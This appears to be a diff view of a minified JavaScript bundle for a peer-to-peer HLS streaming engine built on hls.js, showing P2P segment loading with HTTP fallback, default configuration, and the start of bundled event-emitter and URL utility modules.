${l}s`),n.on(hls_de_events.SCH_DCHAVE,d),this.waitTimer=setTimeout((()=>{n.notifyAllPeers(s.sn,s.level,a),this.loadFragByHttp(e,t,r,a),n.off(hls_de_events.SCH_DCHAVE,d)}),1e3*l)}else this.loadFragByHttp(e,t,r,a)}loadFragByHttp(e,t,r,i){this.scheduler.isReceiver=!1;const{logger:n}=this,s=e.frag;if(this.isHlsV0){const e=r.onSuccess;r.onSuccess=(t,r,a)=>{if(!this.bufMgr.hasSegOfId(i)){const e=copyBuffer(t.data),r=new core_segment(s.sn,i,e,this.fetcher.peerId,s.level);this.bufMgr.putSeg(r)}this.fetcher.reportFlow(r.total);let o=r.tload-r.trequest;n.info(`HTTP loaded ${i} time ${o}ms`),e(t,r,a)}}else if(r.onProgress){const e=r.onProgress;r.onProgress=(t,r,a)=>{if(!this.bufMgr.hasSegOfId(i)){const e=copyBuffer(a),t=new core_segment(s.sn,i,e,this.fetcher.peerId,s.level);this.bufMgr.putSeg(t)}this.fetcher.reportFlow(t.total),s.loaded=t.total;let o=t.loading.end-t.loading.start;n.info(`HTTP loaded ${i} time ${o}ms`),e(t,r,a)}}e.frag.loadByHTTP=!0,this.xhrLoader.load(e,t,r)}loadFragByP2p(e,t,r,i){const{logger:n}=this,s=e.frag;this.scheduler.load(e,t,r);const a=r.onSuccess,o=r.onTimeout;r.onTimeout=(e,l)=>{n.warn(`P2P timeout switched to HTTP load ${s.relurl} at ${s.sn}`),r.onSuccess=a,this.loadFragByHttp(l,t,r,i),r.onTimeout=o},r.onSuccess=(e,t,o)=>{if(!this.bufMgr.hasSegOfId(i)){const t=copyBuffer(e.data),r=new core_segment(s.sn,i,t,s.fromPeerId||this.fetcher.peerId,s.level);this.bufMgr.putSeg(r)}s.loadByP2P||this.fetcher.reportFlow(t.total),s.loaded=t.loaded,n.info(`${s.loadByP2P?"P2P":"HTTP"} loaded segment id ${i}`),!this.isHlsV0&&r.onProgress&&r.onProgress(t,o,e.data),a(e,t,o)}}}const frag_loader=FragLoader;class PlaylistLoader extends(events_default()){constructor(e){super(),this.logger=e.logger;const{scheduler:t}=window.__p2p_loader__;this.isHlsV0=e.isHlsV0,this.xhrLoader=new e.loader(e),this.p2pEnabled=e.p2pEnabled,this.scheduler=t,this.stats=this.xhrLoader.stats||createLoadStats()}destroy(){this.xhrLoader.destroy()}abort(){this.xhrLoader.abort()}load(e,t,r){const{logger:i}=this,{url:n}=e,s=n.split("?")[0],a=r.onSuccess;if(r.onSuccess=(e,t,r)=>{this.scheduler.broadcastPlaylist(s,e.data),a(e,t,r)},this.scheduler.playlistInfo.has(s)){const t=this.scheduler.getPlaylistFromPeer(s);if(t&&t.data){const{data:s,seq:a}=t;i.info(`got playlist from peer seq ${a}`),updateLoadStats(this.stats,s.length);let o={url:n,data:s};return void queue_microtask_default()((()=>{r.onSuccess(o,this.stats,e)}))}}this.xhrLoader.load(e,t,r)}}const playlist_loader=PlaylistLoader;class HlsjsScheduler extends Scheduler{constructor(e,t){super(e,t),this.isHlsV0=t.isHlsV0}loadRemainBufferByHttp(e,t,r){const{url:i}=this.context.frag;let n=utils_buffer.l.concat(e.bufArr);super.reportDCTraffic(t,r,n.byteLength,0);let s="bytes=";if(this.context.rangeEnd){const e=Number(this.context.rangeStart),t=Number(this.context.rangeEnd);s=`${s}${e+n.byteLength}-${t-1}`}else s=`${s}${n.byteLength}-`;this.logger.info(`continue download from ${i} range: ${s}`),fetch(i,{headers:{Range:s}}).then((e=>e.arrayBuffer())).then((t=>{let r=utils_buffer.l.from(t);this.engine.fetcher.reportFlow(r.byteLength);let i=utils_buffer.l.concat([n,r]),s=new Uint8Array(i).buffer,a=this.stats;a.tfirst=a.loading.first=Math.max(a.trequest,performance.now()),a.tload=a.loading.end=a.tfirst,a.loaded=a.total=i.byteLength;const o=this.context.frag;o.fromPeerId=e.remotePeerId,o.loadByP2P=!0,this.callbacks.onSuccess({data:s},a,this.context)})).catch((e=>{this.logger.error(`http partial download error ${e}`),this.callbacks.onTimeout(this.stats,this.context,null)}))}_handlePieceAborted(e){this.criticalSeg&&this.criticalSeg.targetPeers.includes(e)?1===this.criticalSeg.targetPeers.length?(clearTimeout(this.criticaltimeouter),this.criticaltimeout(),this.cleanRequestingMap(e)):this.criticalSeg.targetPeers=this.criticalSeg.targetPeers.filter((t=>t!==e)):this.cleanRequestingMap(e)}criticaltimeout(e=!1){const{logger:t,config:r}=this;if(!this.criticalSeg)return;const i=this.criticalSeg.sn,n=this.criticalSeg.level;let s;t.info(`critical request sn ${i} timeout`),this.requestingMap.has(i,n)&&(s=this.getPeerLoadedMore(i,n));let a=!1;if(s&&(a=!s.loadtimeout()),a)return void t.info("p2p download completed");const o=1e3*r.httpLoadTime-500;if(e&&s&&s.shouldWaitForRemain(o))return t.info(`wait for peer load remain of ${i}`),void(this.criticaltimeouter=setTimeout(this.criticaltimeout.bind(this),o+200));r.httpRangeSupported&&s&&s.bufArr.length>0&&s.segId===this.criticalSeg.segId?this.loadRemainBufferByHttp(s,i,n):this.callbacks.onTimeout(this.stats,this.context,null),this.requestingMap.delete(i,n),this.criticalSeg=null,this.criticaltimeouter=null}updatePlaySN(e){this.currPlaySN=e}load(e,t,r){this.isReceiver=!0;const{logger:i,config:n}=this;this.context=e;const s=e.frag,{segId:a,sn:o,level:l}=s;this.callbacks=r,this.stats=createLoadStats(),this.criticalSeg={sn:o,level:l,segId:a},this.targetPeers.length>0?this.criticalSeg.targetPeers=[...this.targetPeers.map((e=>e.remotePeerId))]:this.criticalSeg.targetPeers=[...this.requestingMap.getAllPeerIds(o,l)];let d=this.mBufferedDuration-n.httpLoadTime;if(d>this.dcDownloadTimeout&&(d=this.dcDownloadTimeout),this.requestingMap.has(o,l))i.info(`wait for criticalSeg segId ${a} at ${o} timeout ${d}`);else for(let e of this.targetPeers)e.downloading||(i.info(`request criticalSeg segId ${a} at ${o} from ${e.remotePeerId} timeout ${d}`),e.requestDataById(a,o,!0,{level:l})),this.requestingMap.set(o,l,e.remotePeerId);this.criticaltimeouter=setTimeout(this.criticaltimeout.bind(this,!0),1e3*d),this.targetPeers=[]}destroy(){super.destroy(),this.logger.warn("destroy HlsjsScheduler")}_setupDC(e){super._setupDC(e);const{logger:t,config:r}=this;e.on(hls_de_events.DC_HAVE,(e=>{queue_microtask_default()((()=>{r.live&&!this.criticalSeg&&this.checkPeers()}))})).on(hls_de_events.DC_PIECE,(e=>{this.criticalSeg&&this.criticalSeg.segId===e.seg_id&&(this.stats.tfirst=Math.max(performance.now(),this.stats.trequest))})).on(hls_de_events.DC_PIECE_NOT_FOUND,(r=>{const{sn:i}=r;this.criticalSeg&&this.criticalSeg.sn===i&&(1===this.criticalSeg.targetPeers.length?(clearTimeout(this.criticaltimeouter),t.info(`DC_PIECE_NOT_FOUND ${i}`),this.criticalSeg=null,this.callbacks.onTimeout(this.stats,this.context,null)):this.criticalSeg.targetPeers=this.criticalSeg.targetPeers.filter((t=>t!==e.remotePeerId)))})).on(hls_de_events.DC_RESPONSE,((r,i)=>{const{config:n}=this,{segId:s,sn:a,data:o,level:l}=r,d=this.criticalSeg&&this.criticalSeg.segId===s;if(n.validateSegment(s,o))if(this.notifyAllPeers(a,l,s),super.reportDCTraffic(a,l,r.size,i),d){t.info(`receive criticalSeg seg_id ${s}`),clearTimeout(this.criticaltimeouter),this.criticaltimeouter=null,e.miss=0;let r=this.stats;r.tfirst=r.loading.first=Math.max(r.trequest,performance.now()),r.tload=r.loading.end=r.tfirst,r.loaded=r.total=o.byteLength,this.criticalSeg=null;const{frag:i}=this.context;i.fromPeerId=e.remotePeerId,i.loadByP2P=!0,this.callbacks.onSuccess({data:o,url:this.context.url},r,this.context)}else{if(this.bitset.has(a,l))return;const t=new core_segment(a,s,o,e.remotePeerId,l);this.bufMgr.putSeg(t),this.updateLoaded(a,l)}else t.warn(`segment ${s} validate failed`),d&&(clearTimeout(this.criticaltimeouter),this.criticaltimeout());this.requestingMap.delete(a,l),n.live&&!this.criticalSeg&&this.checkPeers()}))}_setupEngine(){this.engine.on(hls_de_events.FRAG_LOADING,(({sn:e,segId:t,byHttp:r,level:i})=>{this.loadingSN=e,this.loadingSegId=t,this.isHlsV0&&r&&this.notifyAllPeers(e,i,t)})).on(hls_de_events.FRAG_LOADED,(({sn:e,segId:t,byP2p:r,level:i})=>{this.isHlsV0||r||this.notifyAllPeers(e,i,t),this.updateLoaded(e,i)})).on(hls_de_events.FRAG_CHANGED,(({sn:e})=>{this.updatePlaySN(e)}))}}const hlsjs_scheduler=HlsjsScheduler;class HlsjsP2pEngine extends Engine{static get name(){return"HlsjsP2pEngine"}constructor(e,t={}){super(t),this.hlsjs=e,this.HLSEvents=e.constructor.Events,this.config.isHlsV0="0"===e.constructor.version.split(".")[0];const{channelIdMaker:r,signalId:i,browserInfo:n}=this.setup();e.config.segmentId=this.config.segmentId;const s=(t,a)=>{const{config:o}=this,l=a.details,d=l.live;o.live=this.hlsjs.config.live=d,d||(o.trickleICE=!0),this.browserInfo={...n,live:d,abr:this.multiBitrate||void 0,type:"hls"},this.channel=`${r(e.url)}|${i}[${peer.VERSION}]`,this.setupElectron();const h=this.initLogger();h.info("use HlsjsP2pEngine"),this.logger=this.hlsjs.config.logger=h,h.info(`channel ${this.channel}`),d||(o.startSN=l.startSN,o.endSN=l.endSN,h.info(`startSN ${l.startSN} endSN ${l.endSN}`)),this.eventListened=!1,this._init(this.channel,this.browserInfo),e.off(this.HLSEvents.LEVEL_LOADED,s)};e.on(this.HLSEvents.LEVEL_LOADED,s);const a=(t,r)=>{const i=r.levels.length;this.multiBitrate=i>1,e.off(this.HLSEvents.MANIFEST_PARSED,a)};e.on(this.HLSEvents.MANIFEST_PARSED,a)}_init(e,t){if(!this.p2pEnabled)return;this.hlsjs.config.p2pEnabled=this.p2pEnabled,this.hlsjs.config.sharePlaylist=this.config.sharePlaylist,this.bufMgr=new segment_cache(this,this.config),this.hlsjs.config.bufMgr=this.bufMgr,this.media=this.hlsjs.media;let r=new server(this,this.config.token,encodeURIComponent(e),this.config.announce||"",t);this.fetcher=r;const i=new hlsjs_scheduler(this,this.config);this.tracker=new tracker_client(this,r,i,this.config),i.bufferManager=this.bufMgr,this.hlsjs.config.fLoader=frag_loader,this.config.sharePlaylist&&(this.hlsjs.config.pLoader=playlist_loader),window.__p2p_loader__={scheduler:this.tracker.scheduler,fetcher:r,p2pBlackList:this.config.p2pBlackList,isHlsV0:this.config.isHlsV0},this.trackerTried=!1,this.eventListened||(this.hlsjs.on(this.HLSEvents.FRAG_LOADING,this._onFragLoading.bind(this)),this.hlsjs.on(this.HLSEvents.FRAG_LOADED,this._onFragLoaded.bind(this)),this.hlsjs.on(this.HLSEvents.FRAG_CHANGED,this._onFragChanged.bind(this)),this.hlsjs.on(this.HLSEvents.ERROR,this._onHlsError.bind(this)),this.eventListened=!0),this.setupWindowListeners(),this.trackerTried||this.tracker.connected||!this.config.p2pEnabled||(this.tracker.resumeP2P(),this.trackerTried=!0)}_onFragLoading(e,t){const r=t.frag;let{sn:i,level:n,segId:s}=r;if(!isBlockType(r.url,this.config.p2pBlackList)){if(this.logger.debug("loading frag "+i),!s){let e;r._byteRange&&(e="bytes="+r._byteRange[0]+"-"+r._byteRange[1]);let i=r.url;s=t.frag.segId=this.config.segmentId(String(r.level),r.sn,i,e)}this.emit(hls_de_events.FRAG_LOADING,{sn:i,segId:s,byHttp:r.loadByHTTP,level:n})}}_onFragLoaded(e,t){const{sn:r,segId:i,loaded:n,duration:s,level:a,fromPeerId:o,loadByP2P:l,url:d}=t.frag,{config:h,logger:u}=this;isBlockType(t.frag.url,h.p2pBlackList)||(this.emit(hls_de_events.FRAG_LOADED,{url:d,sn:r,level:a,segId:i,loaded:n,duration:s,byP2p:!!l,fromPeerId:o}),!this.rangeTested&&h.useHttpRange&&(performRangeRequest(t.frag.url).then((()=>{h.httpRangeSupported=!0,u.info("http range is supported"),h.httpLoadTime-=1.5,h.httpLoadTime<1.5&&(h.httpLoadTime=1.5),h.simultaneousTargetPeers=1})).catch((()=>{h.httpRangeSupported=!1,u.warn("http range is not supported")})),this.rangeTested=!0))}_onFragChanged(e,t){if(!isBlockType(t.frag.url,this.config.p2pBlackList)){this.logger.debug("frag changed: "+t.frag.sn);const{sn:e,duration:r}=t.frag;this.emit(hls_de_events.FRAG_CHANGED,{sn:e,duration:r})}}_onHlsError(e,t){const{logger:r}=this;t.fatal?r.error(`${t.type} details ${t.details} reason ${t.reason}`):r.warn(`${t.type} details ${t.details} reason ${t.reason}`);const i=this.hlsjs.constructor.ErrorDetails;switch(t.details){case i.BUFFER_STALLED_ERROR:this.fetcher&&this.fetcher.errsBufStalled++;break;case i.INTERNAL_EXCEPTION:this.fetcher&&(this.fetcher.errsInternalExpt++,this.fetcher.exptMsg=t.err.message),r.error(`INTERNAL_EXCEPTION event ${t.event} err ${t.err.message}`),this.emit(hls_de_events.EXCEPTION,err_code_default()(t.err,"HLSJS_EXPT"))}}get currentLevel(){const{currentLevel:e}=this.hlsjs;return e>=0?e:0}disableP2P(){this.logger&&this.logger.warn("disable P2P"),this.p2pEnabled&&(this.p2pEnabled=!1,this.config.p2pEnabled=this.hlsjs.config.p2pEnabled=this.p2pEnabled,this.tracker&&(this.tracker.stopP2P(),this.tracker={},this.fetcher=null,this.bufMgr.destroy(),this.bufMgr=null,this.hlsjs.config.fLoader=this.hlsjs.config.pLoader=this.hlsjs.constructor.DefaultConfig.loader))}}const hlsjs_p2pengine=HlsjsP2pEngine;function getMediaSource(){if("undefined"!=typeof window)return window.MediaSource||window.WebKitMediaSource}function isMSESupported(){const e=getMediaSource(),t=window.SourceBuffer||window.WebKitSourceBuffer,r=e&&"function"==typeof e.isTypeSupported&&e.isTypeSupported('video/mp4; codecs="avc1.42E01E,mp4a.40.2"'),i=!t||t.prototype&&"function"==typeof t.prototype.appendBuffer&&"function"==typeof t.prototype.remove;return!!r&&!!i}let commonConfig={wsMaxRetries:10,p2pEnabled:!0,wifiOnly:!1,memoryCacheLimit:{pc:838860800,mobile:524288e3},dcDownloadTimeout:25,logLevel:"error",tag:"",webRTCConfig:{},token:void 0,appName:void 0,appId:void 0,prefetchNum:5,showSlogan:!0,trickleICE:!1,simultaneousTargetPeers:2,announceLocation:"cn",geoIpPreflight:!0,validateSegment:function(e,t){return!0},getStats:function(e,t,r){},getPeerId:function(e){},getPeersInfo:function(e){}};const config=commonConfig;let defaultP2PConfig={...config,httpLoadTime:2,sharePlaylist:!1,useHttpRange:!0,hlsjsInstance:null,proxyOnly:!1,p2pBlackList:["aac","mp3","vtt","webvtt","key"],live:!0,swFile:"./sw.js",swScope:"./",swAutoRegister:!0};const hls_de_config=defaultP2PConfig;class ShadowP2pEngine extends Engine{static get name(){return"ShadowP2pEngine"}constructor(){super()}get currentLevel(){return 0}disableP2P(){}}const shadow_p2pengine=ShadowP2pEngine;class P2pEngine{static get Events(){return hls_de_events}static isSupported(){return engine_base.isSupported()&&(isMSESupported()||hls_sw_p2pengine.isSeviceWorkerSupported())}static isSeviceWorkerSupported(){return hls_sw_p2pengine.isSeviceWorkerSupported()}static isMSESupported(){return isMSESupported()}static getBrowser(){return platform_default().getBrowser()}static get HlsSwP2pEngine(){return hls_sw_p2pengine}static get HlsjsP2pEngine(){return hlsjs_p2pengine}constructor(e={}){const{hlsjsInstance:t}=e;delete e.hlsjsInstance;const r=Object.assign({},hls_de_config,e);if(window.__swP2pEngineHlsActive)return console.warn("P2pEngineHls is already activated"),void(this._realEngine=new shadow_p2pengine(r));"1"!==getQueryParam("_ios")&&!r.proxyOnly&&t&&isMSESupported()?this._realEngine=new hlsjs_p2pengine(t,r):this._realEngine=new hls_sw_p2pengine(r)}get realEngine(){return this._realEngine}get engineName(){return this._realEngine.constructor.name}once(e,t){return this._realEngine.once(e,t)}on(e,t){return this._realEngine.on(e,t)}off(e,t){return this._realEngine.off(e,t)}removeListener(e,t){return this._realEngine.removeListener(e,t)}removeAllListeners(e){return this._realEngine.removeAllListeners(e)}set p2pEnabled(e){this._realEngine.p2pEnabled=e}get p2pEnabled(){return this._realEngine.p2pEnabled}enableP2P(){this._realEngine.enableP2P()}disableP2P(){this._realEngine.disableP2P()}destroy(){this._realEngine.destroy()}registerServiceWorker(){"function"==typeof this._realEngine.registerServiceWorker&&this._realEngine.registerServiceWorker()}unregisterServiceWorker(){"function"==typeof this._realEngine.unregisterServiceWorker&&this._realEngine.unregisterServiceWorker()}get version(){return engine_base.version}}P2pEngine.version=engine_base.version,P2pEngine.protocolVersion=peer.VERSION,window&&(window.P2PEngineHls=P2pEngine);const index_engine=P2pEngine;var Hlsjs;Hlsjs=__webpack_require__(101);const liveHlsjsConfig={maxBufferLength:8},VODHlsjsConfig={maxBufferLength:40};class SWHlsjs extends Hlsjs{static get P2PEvents(){return index_engine.Events}static get P2pEngine(){return index_engine}constructor(e={}){let t=e.p2pConfig||{};const r=!1===t.live?VODHlsjsConfig:liveHlsjsConfig;let i=JSON.parse(JSON.stringify(r));i.liveSyncDurationCount=10,i.manifestLoadingMaxRetry=3,i.manifestLoadingRetryDelay=700,i.levelLoadingRetryDelay=700,i.maxBufferSize=0;for(let t in e)"p2pConfig"!==t&&(i[t]=e[t]);super(i),this._restartEvent=()=>{this.restartP2P()},index_engine.isSupported()&&(this._p2pEngine=new index_engine({...t,hlsjsInstance:this}),this._p2pEngine.on(index_engine.Events.RESTART_P2P,this._restartEvent)),this.on(Hlsjs.Events.DESTROYING,(()=>{this._p2pEngine&&(this._p2pEngine.removeListener(index_engine.Events.RESTART_P2P,this._restartEvent),this._p2pEngine.destroy(),this._p2pEngine.hlsjs=null,this._p2pEngine=null)}))}get p2pEngine(){return this._p2pEngine}enableP2P(){this._p2pEngine&&(this._p2pEngine=this._p2pEngine.enableP2P())}disableP2P(){this._p2pEngine&&this._p2pEngine.disableP2P()}restartP2P(){this._p2pEngine&&(this._p2pEngine.disableP2P(),setTimeout((()=>{this.enableP2P()}),2e3),this._p2pEngine.removeListener(index_engine.Events.RESTART_P2P,this._restartEvent))}}SWHlsjs.engineVersion=index_engine.version,SWHlsjs.protocolVersion=index_engine.protocolVersion,SWHlsjs.WEBRTC_SUPPORT=index_engine.isSupported();const index_hls=SWHlsjs})(),__webpack_exports__=__webpack_exports__.default,__webpack_exports__})()));
|
|
1
|
+
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.Hls=t():e.Hls=t()}(self,(()=>(()=>{var __webpack_modules__={204:e=>{"use strict";var t,r="object"==typeof Reflect?Reflect:null,i=r&&"function"==typeof r.apply?r.apply:function(e,t,r){return Function.prototype.apply.call(e,t,r)};t=r&&"function"==typeof r.ownKeys?r.ownKeys:Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function(e){return Object.getOwnPropertyNames(e)};var n=Number.isNaN||function(e){return e!=e};function s(){s.init.call(this)}e.exports=s,e.exports.once=function(e,t){return new Promise((function(r,i){function n(r){e.removeListener(t,s),i(r)}function s(){"function"==typeof e.removeListener&&e.removeListener("error",n),r([].slice.call(arguments))}p(e,t,s,{once:!0}),"error"!==t&&function(e,t,r){"function"==typeof e.on&&p(e,"error",t,r)}(e,n,{once:!0})}))},s.EventEmitter=s,s.prototype._events=void 0,s.prototype._eventsCount=0,s.prototype._maxListeners=void 0;var a=10;function o(e){if("function"!=typeof e)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof e)}function l(e){return void 0===e._maxListeners?s.defaultMaxListeners:e._maxListeners}function h(e,t,r,i){var n,s,a,h;if(o(r),void 0===(s=e._events)?(s=e._events=Object.create(null),e._eventsCount=0):(void 0!==s.newListener&&(e.emit("newListener",t,r.listener?r.listener:r),s=e._events),a=s[t]),void 0===a)a=s[t]=r,++e._eventsCount;else if("function"==typeof a?a=s[t]=i?[r,a]:[a,r]:i?a.unshift(r):a.push(r),(n=l(e))>0&&a.length>n&&!a.warned){a.warned=!0;var d=new Error("Possible EventEmitter memory leak detected. "+a.length+" "+String(t)+" listeners added. Use emitter.setMaxListeners() to increase limit");d.name="MaxListenersExceededWarning",d.emitter=e,d.type=t,d.count=a.length,h=d,console&&console.warn&&console.warn(h)}return e}function d(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,0===arguments.length?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function u(e,t,r){var i={fired:!1,wrapFn:void 0,target:e,type:t,listener:r},n=d.bind(i);return n.listener=r,i.wrapFn=n,n}function c(e,t,r){var i=e._events;if(void 0===i)return[];var n=i[t];return void 0===n?[]:"function"==typeof n?r?[n.listener||n]:[n]:r?function(e){for(var t=new Array(e.length),r=0;r<t.length;++r)t[r]=e[r].listener||e[r];return t}(n):g(n,n.length)}function f(e){var t=this._events;if(void 0!==t){var r=t[e];if("function"==typeof r)return 1;if(void 0!==r)return r.length}return 0}function g(e,t){for(var r=new Array(t),i=0;i<t;++i)r[i]=e[i];return r}function p(e,t,r,i){if("function"==typeof e.on)i.once?e.once(t,r):e.on(t,r);else{if("function"!=typeof e.addEventListener)throw new TypeError('The "emitter" argument must be of type EventEmitter. Received type '+typeof e);e.addEventListener(t,(function n(s){i.once&&e.removeEventListener(t,n),r(s)}))}}Object.defineProperty(s,"defaultMaxListeners",{enumerable:!0,get:function(){return a},set:function(e){if("number"!=typeof e||e<0||n(e))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+e+".");a=e}}),s.init=function(){void 0!==this._events&&this._events!==Object.getPrototypeOf(this)._events||(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},s.prototype.setMaxListeners=function(e){if("number"!=typeof e||e<0||n(e))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+e+".");return this._maxListeners=e,this},s.prototype.getMaxListeners=function(){return l(this)},s.prototype.emit=function(e){for(var t=[],r=1;r<arguments.length;r++)t.push(arguments[r]);var n="error"===e,s=this._events;if(void 0!==s)n=n&&void 0===s.error;else if(!n)return!1;if(n){var a;if(t.length>0&&(a=t[0]),a instanceof Error)throw a;var o=new Error("Unhandled error."+(a?" ("+a.message+")":""));throw o.context=a,o}var l=s[e];if(void 0===l)return!1;if("function"==typeof l)i(l,this,t);else{var h=l.length,d=g(l,h);for(r=0;r<h;++r)i(d[r],this,t)}return!0},s.prototype.addListener=function(e,t){return h(this,e,t,!1)},s.prototype.on=s.prototype.addListener,s.prototype.prependListener=function(e,t){return h(this,e,t,!0)},s.prototype.once=function(e,t){return o(t),this.on(e,u(this,e,t)),this},s.prototype.prependOnceListener=function(e,t){return o(t),this.prependListener(e,u(this,e,t)),this},s.prototype.removeListener=function(e,t){var r,i,n,s,a;if(o(t),void 0===(i=this._events))return this;if(void 0===(r=i[e]))return this;if(r===t||r.listener===t)0==--this._eventsCount?this._events=Object.create(null):(delete i[e],i.removeListener&&this.emit("removeListener",e,r.listener||t));else if("function"!=typeof r){for(n=-1,s=r.length-1;s>=0;s--)if(r[s]===t||r[s].listener===t){a=r[s].listener,n=s;break}if(n<0)return this;0===n?r.shift():function(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}(r,n),1===r.length&&(i[e]=r[0]),void 0!==i.removeListener&&this.emit("removeListener",e,a||t)}return this},s.prototype.off=s.prototype.removeListener,s.prototype.removeAllListeners=function(e){var t,r,i;if(void 0===(r=this._events))return this;if(void 0===r.removeListener)return 0===arguments.length?(this._events=Object.create(null),this._eventsCount=0):void 0!==r[e]&&(0==--this._eventsCount?this._events=Object.create(null):delete r[e]),this;if(0===arguments.length){var n,s=Object.keys(r);for(i=0;i<s.length;++i)"removeListener"!==(n=s[i])&&this.removeAllListeners(n);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if("function"==typeof(t=r[e]))this.removeListener(e,t);else if(void 0!==t)for(i=t.length-1;i>=0;i--)this.removeListener(e,t[i]);return this},s.prototype.listeners=function(e){return c(this,e,!0)},s.prototype.rawListeners=function(e){return c(this,e,!1)},s.listenerCount=function(e,t){return"function"==typeof e.listenerCount?e.listenerCount(t):f.call(e,t)},s.prototype.listenerCount=f,s.prototype.eventNames=function(){return this._eventsCount>0?t(this._events):[]}},101:function(e){var t;"undefined"!=typeof window&&(t=function(){return function(e){var t={};function r(i){if(t[i])return t[i].exports;var n=t[i]={i,l:!1,exports:{}};return e[i].call(n.exports,n,n.exports,r),n.l=!0,n.exports}return r.m=e,r.c=t,r.d=function(e,t,i){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:i})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(r.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)r.d(i,n,function(t){return e[t]}.bind(null,n));return i},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="/dist/",r(r.s="./src/hls.ts")}({"./node_modules/eventemitter3/index.js":function(e,t,r){"use strict";var i=Object.prototype.hasOwnProperty,n="~";function s(){}function a(e,t,r){this.fn=e,this.context=t,this.once=r||!1}function o(e,t,r,i,s){if("function"!=typeof r)throw new TypeError("The listener must be a function");var o=new a(r,i||e,s),l=n?n+t:t;return e._events[l]?e._events[l].fn?e._events[l]=[e._events[l],o]:e._events[l].push(o):(e._events[l]=o,e._eventsCount++),e}function l(e,t){0==--e._eventsCount?e._events=new s:delete e._events[t]}function h(){this._events=new s,this._eventsCount=0}Object.create&&(s.prototype=Object.create(null),(new s).__proto__||(n=!1)),h.prototype.eventNames=function(){var e,t,r=[];if(0===this._eventsCount)return r;for(t in e=this._events)i.call(e,t)&&r.push(n?t.slice(1):t);return Object.getOwnPropertySymbols?r.concat(Object.getOwnPropertySymbols(e)):r},h.prototype.listeners=function(e){var t=n?n+e:e,r=this._events[t];if(!r)return[];if(r.fn)return[r.fn];for(var i=0,s=r.length,a=new Array(s);i<s;i++)a[i]=r[i].fn;return a},h.prototype.listenerCount=function(e){var t=n?n+e:e,r=this._events[t];return r?r.fn?1:r.length:0},h.prototype.emit=function(e,t,r,i,s,a){var o=n?n+e:e;if(!this._events[o])return!1;var l,h,d=this._events[o],u=arguments.length;if(d.fn){switch(d.once&&this.removeListener(e,d.fn,void 0,!0),u){case 1:return d.fn.call(d.context),!0;case 2:return d.fn.call(d.context,t),!0;case 3:return d.fn.call(d.context,t,r),!0;case 4:return d.fn.call(d.context,t,r,i),!0;case 5:return d.fn.call(d.context,t,r,i,s),!0;case 6:return d.fn.call(d.context,t,r,i,s,a),!0}for(h=1,l=new Array(u-1);h<u;h++)l[h-1]=arguments[h];d.fn.apply(d.context,l)}else{var c,f=d.length;for(h=0;h<f;h++)switch(d[h].once&&this.removeListener(e,d[h].fn,void 0,!0),u){case 1:d[h].fn.call(d[h].context);break;case 2:d[h].fn.call(d[h].context,t);break;case 3:d[h].fn.call(d[h].context,t,r);break;case 4:d[h].fn.call(d[h].context,t,r,i);break;default:if(!l)for(c=1,l=new Array(u-1);c<u;c++)l[c-1]=arguments[c];d[h].fn.apply(d[h].context,l)}}return!0},h.prototype.on=function(e,t,r){return o(this,e,t,r,!1)},h.prototype.once=function(e,t,r){return o(this,e,t,r,!0)},h.prototype.removeListener=function(e,t,r,i){var s=n?n+e:e;if(!this._events[s])return this;if(!t)return l(this,s),this;var a=this._events[s];if(a.fn)a.fn!==t||i&&!a.once||r&&a.context!==r||l(this,s);else{for(var o=0,h=[],d=a.length;o<d;o++)(a[o].fn!==t||i&&!a[o].once||r&&a[o].context!==r)&&h.push(a[o]);h.length?this._events[s]=1===h.length?h[0]:h:l(this,s)}return this},h.prototype.removeAllListeners=function(e){var t;return e?(t=n?n+e:e,this._events[t]&&l(this,t)):(this._events=new s,this._eventsCount=0),this},h.prototype.off=h.prototype.removeListener,h.prototype.addListener=h.prototype.on,h.prefixed=n,h.EventEmitter=h,e.exports=h},"./node_modules/url-toolkit/src/url-toolkit.js":function(e,t,r){var i,n,s,a,o;i=/^((?:[a-zA-Z0-9+\-.]+:)?)(\/\/[^\/?#]*)?((?:[^\/?#]*\/)*[^;?#]*)?(;[^?#]*)?(\?[^#]*)?(#.*)?$/,n=/^([^\/?#]*)(.*)$/,s=/(?:\/|^)\.(?=\/)/g,a=/(?:\/|^)\.\.\/(?!\.\.\/)[^\/]*(?=\/)/g,o={buildAbsoluteURL:function(e,t,r){if(r=r||{},e=e.trim(),!(t=t.trim())){if(!r.alwaysNormalize)return e;var i=o.parseURL(e);if(!i)throw new Error("Error trying to parse base URL.");return i.path=o.normalizePath(i.path),o.buildURLFromParts(i)}var s=o.parseURL(t);if(!s)throw new Error("Error trying to parse relative URL.");if(s.scheme)return r.alwaysNormalize?(s.path=o.normalizePath(s.path),o.buildURLFromParts(s)):t;var a=o.parseURL(e);if(!a)throw new Error("Error trying to parse base URL.");if(!a.netLoc&&a.path&&"/"!==a.path[0]){var l=n.exec(a.path);a.netLoc=l[1],a.path=l[2]}a.netLoc&&!a.path&&(a.path="/");var h={scheme:a.scheme,netLoc:s.netLoc,path:null,params:s.params,query:s.query,fragment:s.fragment};if(!s.netLoc&&(h.netLoc=a.netLoc,"/"!==s.path[0]))if(s.path){var 